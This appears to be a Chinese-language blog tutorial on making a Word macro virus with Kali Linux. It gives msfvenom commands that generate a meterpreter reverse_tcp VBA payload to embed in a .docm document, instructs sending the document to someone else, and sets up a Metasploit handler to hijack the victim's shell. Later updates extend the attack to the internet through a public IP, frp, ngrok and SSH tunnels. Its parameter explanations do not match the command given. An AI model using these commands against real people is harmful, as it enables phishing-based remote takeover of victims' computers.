kali好久之前就已经安装好了, 当时不知道具体用法. 今天偶然发现kali如此有趣, 于是开一个kali系列的教程.
VBA是基于Visual Basic发展而来的，与Visual Basic具有相似的语言结构。使用VBA可以完成很多事情，基于Excel、Word的VBA小程序不计其数。宏病毒在Word中引入宏之后出现的。目前Office 是较为流行的编辑软件，并且跨越了多种操作系统，宏病毒利用这一点得到了大范围的传播。
构造一个包含宏病毒的Word文件也并不复杂，只要编写一个Auto_Open函数，就可自动引发病毒。 在Word打开这个文件时， 宏病毒会执行， 然后感染其他文件或直接删除其他文件等。Word宏和其他样式存储在模版DOT文件中， 因此总是把Word文件转成模版，再将其存储为宏。
好的, 现在开始教程!
打开kali, 在终端中键入msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.51 LPORT=4444 -f vba-exe
各参数意义如下:
- –platform windows - 指定目标平台是Windows
- -p windows/meterpreter/reverse_tcp - 指定使用的payload是meterpreter reverse TCP
- LHOST=192.168.68.125 - 指定本地监听的IP地址
- LPORT=4444 - 指定本地监听的端口号
- -e x86/shikata_ga_nai - 使用shikata_ga_nai编码器对payload进行编码
- -f vba-exe - 将payload输出为VBA格式的可执行文件
只有操作系统和架构不同的时候需要改一下命令, 对于windows电脑的64位系统, 上面的命令可以直接使用, 键入命令并确认后可以看到如下:
我们可以看到由两部分: macro code, 和data.
我们可以将macro制作成宏代码, data需要插入在word文档最后. 你需要保存为启用宏的文档, 后缀为docm
到现在就只做好word文档病毒了. 将文档发给别人, 然后进行如下操作:
在Kali中启动metasploit, 依次键入
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.3.51
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > exploit然后就可以美美钓鱼劫持对方shell啦
更新
上面的内容是在局域网中劫持监听, 如果想要监听外网ip, 需要有一台云服务器(kali不必安装在此云服务器上)
使用msfvenom生成的反向连接payload,配合msfconsole的exploit/multi/handler也可以实现远程外网监听。
主要步骤是:
- 在Kali上使用msfvenom生成payload,设置外网IP作为LHOST:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=123.123.123.123 LPORT=4444 -f exe > shell.exe- 在Kali上启动handler,设置与payload相同的监听配置:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 123.123.123.123(所有ip换成你自己的公网ip)
set LPORT 4444
exploit- 将shell.exe传到Windows目标机器运行。
- 目标机连接Kali的外网IP和端口,会得到一个反向连接的meterpreter session。
这里的关键是:
- msfvenom设置外网IP作为LHOST
- handler同样监听在外网IP上
- Kali服务器需要具有外网可访问的IP
- 需要在防火墙放行对应的端口
这样就可以实现通过公网IP来获取meterpreter shell了。
再更, 没有云服务器也可以搞, 只需要内网穿透, 反向代理一波
- 在Kali上设置端口转发,将局域网Kali的端口映射到公网服务器的端口,然后在公网服务器上监听转发的端口。
- 使用内网穿透工具如frp,在Kali上启动frp客户端,在公网服务器上启动frp服务端,实现内网Kali到公网的映射。
- 使用VPN,在Kali上连接公网服务器的VPN,获得公网IP,然后在Kali本机监听。
- 使用SSH隧道,通过公网服务器建立SSH隧道到内网Kali,然后Kali Bind到本地端口进行监听。
- 使用ngrok等内网映射工具,将Kali的某端口映射到公网URL,然后在Kali本机监听即可。
- 利用DNS解析指向内网Kali,使得目标主机反向连接时找到内网Kali。